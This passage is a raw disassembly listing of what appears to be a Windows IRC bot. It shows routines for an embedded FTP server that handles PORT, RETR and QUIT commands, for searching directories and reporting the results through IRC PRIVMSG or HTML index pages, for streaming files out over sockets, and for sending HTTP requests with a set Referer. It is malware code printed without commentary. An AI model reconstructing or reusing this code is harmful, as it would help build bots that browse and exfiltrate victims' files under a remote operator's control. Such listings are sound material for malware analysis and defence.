		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_412BB5
		add	esp, 18h
		push	0
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402F97:				; CODE XREF: sub_402B1D+3C2j
		mov	edi, offset aRetr ; "RETR"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	loc_40304C
		push	edx
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+74h+arg_0]
		call	ebx
		push	[ebp+74h+var_10]
		lea	eax, [ebp+74h+var_48]
		push	eax
		call	sub_402A0E
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jnz	short loc_403041
		call	sub_402A8B
		cmp	eax, 1
		jnz	loc_403069
		xor	esi, esi
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+74h+arg_0]
		call	ebx
		lea	eax, [ebp+74h+var_6D8]
		push	eax
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+var_8DC]
		push	offset aFtpFileTransfe ; "[FTP]: File transfer complete	to IP: %s"...
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+74h+var_440], esi
		jnz	short loc_403032
		push	esi
		push	[ebp+74h+var_444]
		lea	eax, [ebp+74h+var_8DC]
		push	eax
		lea	eax, [ebp+74h+var_4C4]
		push	eax
		push	[ebp+74h+var_6DC]
		call	sub_4045DD
		add	esp, 14h


loc_403032:				; CODE XREF: sub_402B1D+4F0j
		lea	eax, [ebp+74h+var_8DC]
		push	eax
		call	sub_401C33
		pop	ecx
		jmp	short loc_403069
; ---------------------------------------------------------------------------


loc_403041:				; CODE XREF: sub_402B1D+4ACj
		push	0
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_403064
; ---------------------------------------------------------------------------


loc_40304C:				; CODE XREF: sub_402B1D+488j
		mov	ecx, eax
		mov	edi, offset aQuit ; "QUIT"
		lea	esi, [ebp+74h+var_AC]
		xor	eax, eax
		repe cmpsb
		jnz	short loc_403069
		push	eax
		push	0Dh
		push	offset a221Goodbye_ ; "221 Goodbye.\n"


loc_403064:				; CODE XREF: sub_402B1D+25Fj
					; sub_402B1D+27Cj ...
		push	[ebp+74h+arg_0]
		call	ebx


loc_403069:				; CODE XREF: sub_402B1D+4B6j
					; sub_402B1D+522j ...
		mov	esi, [ebp+74h+arg_0]
		push	19h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+74h+var_29C]
		rep stosd


loc_403079:				; CODE XREF: sub_402B1D+151j
					; sub_402B1D+179j ...
		inc	esi
		cmp	esi, [ebp+74h+var_4]
		mov	[ebp+74h+arg_0], esi
		jle	loc_402C4A


loc_403086:				; CODE XREF: sub_402B1D+127j
		push	41h
		pop	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+74h+var_438]
		push	eax
		mov	eax, [ebp+74h+var_4]
		inc	eax
		lea	esi, [ebp+74h+var_228]
		lea	edi, [ebp+74h+var_438]
		push	eax
		rep movsd
		call	ds:dword_41F1D8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_402C3C


loc_4030B7:				; CODE XREF: sub_402B1D+C9j
					; sub_402B1D+113j
		pop	edi
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_402B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030C4	proc near		; CODE XREF: sub_4039DE+149p
					; sub_4078FA+355Dp

var_598		= byte ptr -598h
var_494		= byte ptr -494h
var_38C		= dword	ptr -38Ch
var_378		= byte ptr -378h
var_36C		= dword	ptr -36Ch
var_360		= byte ptr -360h
var_24C		= byte ptr -24Ch
var_4C		= byte ptr -4Ch
var_24		= byte ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 598h
		push	ebx
		push	esi
		push	edi
		push	41h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_598]
		rep stosd
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		push	offset asc_420328 ; "\n"
		push	edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_413859
		cmp	[ebp+arg_8], ebx
		pop	ecx
		pop	ecx
		jz	short loc_40311D
		push	edi
		push	[ebp+arg_8]
		mov	esi, 200h
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 14h
		jmp	loc_40323A
; ---------------------------------------------------------------------------


loc_40311D:				; CODE XREF: sub_4030C4+34j
		cmp	[ebp+arg_C], ebx
		jz	loc_40321F
		mov	eax, edi
		lea	ecx, [eax+1]


loc_40312B:				; CODE XREF: sub_4030C4+6Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40312B
		push	edi
		sub	eax, ecx
		and	[eax+edi-1], dl
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		mov	esi, 200h
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	ecx, [eax+1]


loc_40315C:				; CODE XREF: sub_4030C4+9Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40315C
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	ecx, [eax+1]


loc_403196:				; CODE XREF: sub_4030C4+D7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_403196
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		mov	eax, edi
		lea	ecx, [eax+1]


loc_4031B6:				; CODE XREF: sub_4030C4+F7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4031B6
		push	3Ch
		push	96h
		push	0E6h
		sub	eax, ecx
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		mov	byte ptr [eax+edi], 2Ah
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 18h
		lea	ecx, [eax+1]


loc_4031ED:				; CODE XREF: sub_4030C4+12Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4031ED
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		jmp	short loc_40323A
; ---------------------------------------------------------------------------


loc_40321F:				; CODE XREF: sub_4030C4+5Cj
		push	edi
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		mov	esi, 200h
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 10h


loc_40323A:				; CODE XREF: sub_4030C4+54j
					; sub_4030C4+159j
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_403243:				; CODE XREF: sub_4030C4+184j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403243
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jz	loc_4032ED
		lea	edx, [eax+1]


loc_40326C:				; CODE XREF: sub_4030C4+1ADj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40326C
		sub	eax, edx
		cmp	eax, 2
		jbe	short loc_4032ED
		mov	eax, [ebp+arg_C]
		lea	edx, [eax+1]


loc_403280:				; CODE XREF: sub_4030C4+1C1j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403280
		sub	eax, edx
		add	eax, 0FFFFFFFDh
		cmp	eax, ebx
		jz	short loc_40329C


loc_403290:				; CODE XREF: sub_4030C4+1D6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40329C
		dec	eax
		jnz	short loc_403290


loc_40329C:				; CODE XREF: sub_4030C4+1CAj
					; sub_4030C4+1D3j
		inc	eax
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_598]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 1Ch
		lea	ecx, [eax+1]


loc_4032D2:				; CODE XREF: sub_4030C4+213j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4032D2
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send


loc_4032ED:				; CODE XREF: sub_4030C4+19Fj
					; sub_4030C4+1B4j
		lea	eax, [ebp+var_38C]
		push	eax
		push	edi
		call	ds:dword_41F054	; FindFirstFileA
		lea	ecx, [ebp+var_38C]
		push	ecx
		push	eax
		mov	[ebp+var_C], eax
		call	ds:dword_41F050	; FindNextFileA
		test	eax, eax
		jz	loc_40371A
		mov	ebx, 1FFh


loc_403319:				; CODE XREF: sub_4030C4+650j
		cmp	[ebp+var_38C], 0
		jz	loc_403702
		push	3
		mov	edi, offset a__	; ".."
		lea	esi, [ebp+var_360]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_403702
		push	2
		mov	edi, offset a__0 ; "."
		lea	esi, [ebp+var_360]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_403702
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_378]
		push	eax
		call	ds:dword_41F04C	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	ds:dword_41F048	; FileTimeToSystemTime
		mov	ax, [ebp+var_14]
		cmp	ax, 0Ch
		mov	ecx, offset aPm	; "PM"
		ja	loc_403417
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_403390:				; CODE XREF: sub_4030C4+359j
		push	ecx
		movzx	ecx, [ebp+var_12]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_1C]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_412BB5
		add	esp, 20h
		xor	edi, edi
		test	byte ptr [ebp+var_38C],	10h
		jz	loc_403566
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], edi
		jz	short loc_403422
		lea	eax, [ebp+var_360]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_494]
		push	106h
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_494]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_24C]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 28h
		jmp	loc_4036CE
; ---------------------------------------------------------------------------


loc_403417:				; CODE XREF: sub_4030C4+2BEj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_403390
; ---------------------------------------------------------------------------


loc_403422:				; CODE XREF: sub_4030C4+308j
		cmp	[ebp+arg_C], edi
		jz	loc_403520
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	esi, [eax+1]


loc_40344E:				; CODE XREF: sub_4030C4+38Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40344E
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_24C]
		push	offset aSS_1	; "%s%s/"
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 14h
		lea	esi, [eax+1]


loc_403491:				; CODE XREF: sub_4030C4+3D2j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403491
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		lea	eax, [ebp+var_360]
		lea	esi, [eax+1]


loc_4034B5:				; CODE XREF: sub_4030C4+3F6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4034B5
		sub	eax, esi
		cmp	eax, 1Eh
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_24C]
		jbe	short loc_4034D7
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4034DC
; ---------------------------------------------------------------------------


loc_4034D7:				; CODE XREF: sub_4030C4+40Aj
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4034DC:				; CODE XREF: sub_4030C4+411j
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	edx, [eax+1]


loc_4034EF:				; CODE XREF: sub_4030C4+430j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4034EF
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		push	3Ch
		lea	eax, [ebp+var_4C]
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	ebx
		jmp	loc_4036BF
; ---------------------------------------------------------------------------


loc_403520:				; CODE XREF: sub_4030C4+361j
		lea	eax, [ebp+var_360]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_494]
		push	106h
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_494]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_40354D:				; CODE XREF: sub_4030C4+4CAj
		lea	eax, [ebp+var_24C]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 24h
		jmp	loc_4036CE
; ---------------------------------------------------------------------------


loc_403566:				; CODE XREF: sub_4030C4+2FCj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], edi
		jz	short loc_403590
		push	edi
		push	[ebp+var_36C]
		call	sub_402439
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_40354D
; ---------------------------------------------------------------------------


loc_403590:				; CODE XREF: sub_4030C4+4A8j
		cmp	[ebp+arg_C], edi
		jz	loc_4036A4
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	esi, [eax+1]


loc_4035BC:				; CODE XREF: sub_4030C4+4FDj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4035BC
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_24C]
		push	offset aSS	; "%s%s"
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 14h
		lea	esi, [eax+1]


loc_4035FF:				; CODE XREF: sub_4030C4+540j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4035FF
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		lea	eax, [ebp+var_360]
		lea	esi, [eax+1]


loc_403623:				; CODE XREF: sub_4030C4+564j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403623
		sub	eax, esi
		cmp	eax, 1Fh
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_24C]
		jbe	short loc_403645
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40364A
; ---------------------------------------------------------------------------


loc_403645:				; CODE XREF: sub_4030C4+578j
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40364A:				; CODE XREF: sub_4030C4+57Fj
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	edx, [eax+1]


loc_40365D:				; CODE XREF: sub_4030C4+59Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40365D
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		mov	eax, [ebp+var_36C]
		shr	eax, 0Ah
		push	eax
		push	3Ch
		lea	eax, [ebp+var_4C]
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_412E0D
		add	esp, 1Ch
		jmp	short loc_4036CE
; ---------------------------------------------------------------------------


loc_4036A4:				; CODE XREF: sub_4030C4+4CFj
		push	[ebp+var_36C]
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	200h


loc_4036BF:				; CODE XREF: sub_4030C4+457j
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_412E0D
		add	esp, 18h


loc_4036CE:				; CODE XREF: sub_4030C4+34Ej
					; sub_4030C4+49Dj ...
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_4036D7:				; CODE XREF: sub_4030C4+618j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4036D7
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		cmp	[ebp+arg_8], edi
		jz	short loc_403702
		push	0FAh
		call	ds:dword_41F000	; Sleep


loc_403702:				; CODE XREF: sub_4030C4+25Cj
					; sub_4030C4+274j ...
		lea	eax, [ebp+var_38C]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_41F050	; FindNextFileA
		test	eax, eax
		jnz	loc_403319


loc_40371A:				; CODE XREF: sub_4030C4+24Aj
		push	[ebp+var_C]
		call	ds:dword_41F044	; FindClose
		xor	esi, esi
		cmp	[ebp+arg_8], esi
		jz	short loc_40375F
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_402439
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_402439
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_24C]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_412BB5
		add	esp, 14h
		jmp	short loc_40378D
; ---------------------------------------------------------------------------


loc_40375F:				; CODE XREF: sub_4030C4+664j
		cmp	[ebp+arg_C], esi
		lea	eax, [ebp+var_24C]
		jz	short loc_403779
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_40378D
; ---------------------------------------------------------------------------


loc_403779:				; CODE XREF: sub_4030C4+6A4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_412BB5
		add	esp, 10h


loc_40378D:				; CODE XREF: sub_4030C4+699j
					; sub_4030C4+6B3j
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_403796:				; CODE XREF: sub_4030C4+6D7j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403796
		push	esi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4030C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037B8	proc near		; CODE XREF: sub_4039DE+12Bp

var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	[ebp+var_4], 400h
		mov	[ebp+var_C], esi
		call	ds:dword_41F03C	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403875
		push	esi
		push	ebx
		call	ds:dword_41F060	; GetFileSize
		mov	edx, eax
		cmp	edx, esi
		mov	[ebp+var_8], edx
		jz	short loc_40386E
		push	edi
		jmp	short loc_403806
; ---------------------------------------------------------------------------


loc_403803:				; CODE XREF: sub_4037B8+B3j
		mov	edx, [ebp+var_8]


loc_403806:				; CODE XREF: sub_4037B8+49j
		xor	eax, eax
		cmp	[ebp+var_4], edx
		mov	ecx, 100h
		lea	edi, [ebp+var_40C]
		rep stosd
		jbe	short loc_40381D
		mov	[ebp+var_4], edx


loc_40381D:				; CODE XREF: sub_4037B8+60j
		push	2
		push	esi
		neg	edx
		push	edx
		push	ebx
		call	ds:dword_41F05C	; SetFilePointer
		push	esi
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_40C]
		push	eax
		push	ebx
		call	ds:dword_41F058	; ReadFile
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403868
		call	dword_433558	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_40386D
		xor	eax, eax


loc_403868:				; CODE XREF: sub_4037B8+9Fj
		sub	[ebp+var_8], eax
		jnz	short loc_403803


loc_40386D:				; CODE XREF: sub_4037B8+ACj
		pop	edi


loc_40386E:				; CODE XREF: sub_4037B8+46j
		push	ebx
		call	ds:dword_41F034	; CloseHandle


loc_403875:				; CODE XREF: sub_4037B8+31j
		pop	esi
		pop	ebx
		leave
		retn
sub_4037B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403879	proc near		; CODE XREF: sub_403B4C+182p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ecx, eax
		push	esi
		xor	esi, esi
		lea	edx, [ecx+1]


loc_403888:				; CODE XREF: sub_403879+14j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_403888
		sub	ecx, edx
		mov	[ebp+arg_0], ecx
		jz	short loc_4038B3


loc_403896:				; CODE XREF: sub_403879+38j
		cmp	byte ptr [esi+eax], 5Ch
		jnz	short loc_4038A0
		mov	byte ptr [esi+eax], 2Fh


loc_4038A0:				; CODE XREF: sub_403879+21j
		mov	ecx, eax
		inc	esi
		lea	edx, [ecx+1]


loc_4038A6:				; CODE XREF: sub_403879+32j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_4038A6
		sub	ecx, edx
		cmp	esi, ecx
		jb	short loc_403896


loc_4038B3:				; CODE XREF: sub_403879+1Bj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_403879	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038B7	proc near		; CODE XREF: sub_4078FA+4DC0p

var_4A4		= byte ptr -4A4h
var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A4h
		push	edi
		lea	eax, [ebp+var_4A4]
		push	eax
		push	101h
		call	dword_4334B0	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4334A0	; socket
		push	[ebp+arg_14]
		mov	[ebp+var_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_14], 2
		call	dword_4335EC	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_12], ax
		call	sub_406B1D
		pop	ecx
		mov	[ebp+var_10], eax
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		call	dword_433458	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403997
		mov	eax, [ebp+arg_20]
		test	eax, eax
		jnz	short loc_40392A
		mov	eax, (offset asc_41FA74+2)


loc_40392A:				; CODE XREF: sub_4038B7+6Cj
		push	ebx
		push	esi
		push	[ebp+arg_10]
		mov	ebx, 100h
		push	eax
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_114]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_114]
		add	esp, 1Ch
		lea	esi, [eax+1]


loc_403959:				; CODE XREF: sub_4038B7+A7j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403959
		push	0
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_4]
		call	dword_433534	; send
		push	40h
		pop	ecx
		push	0
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_4]
		xor	esi, esi
		lea	edi, [ebp+var_114]
		rep movsd
		call	dword_433414	; recv
		pop	esi
		pop	ebx


loc_403997:				; CODE XREF: sub_4038B7+65j
		push	[ebp+var_4]
		call	dword_4335AC	; closesocket
		call	dword_4335B8	; WSACleanup
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_412BB5
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		pop	edi
		jnz	short locret_4039DC
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_314]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h

locret_4039DC:				; CODE XREF: sub_4038B7+109j
		leave
		retn
sub_4038B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4039DE	proc near		; DATA XREF: sub_403B4C+24Eo

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 1654h
		lea	ebp, [esp-74h]
		call	sub_412DD0
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+74h+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
